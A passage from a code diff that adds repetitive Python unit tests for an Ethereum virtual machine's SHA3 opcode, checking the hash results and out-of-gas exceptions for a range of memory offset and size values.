+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm.memory.write(0, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [38468488817986530247887777414678086216360049057372179296543030553902011157846L])
+
+    def test_SHA3_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm.memory.write(1, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [38468488817986530247887777414678086216360049057372179296543030553902011157846L])
+
+    def test_SHA3_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm.memory.write(16, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [38468488817986530247887777414678086216360049057372179296543030553902011157846L])
+
+    def test_SHA3_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm.memory.write(32, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [38468488817986530247887777414678086216360049057372179296543030553902011157846L])
+
+    def test_SHA3_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm.memory.write(48, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [38468488817986530247887777414678086216360049057372179296543030553902011157846L])
+
+    def test_SHA3_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
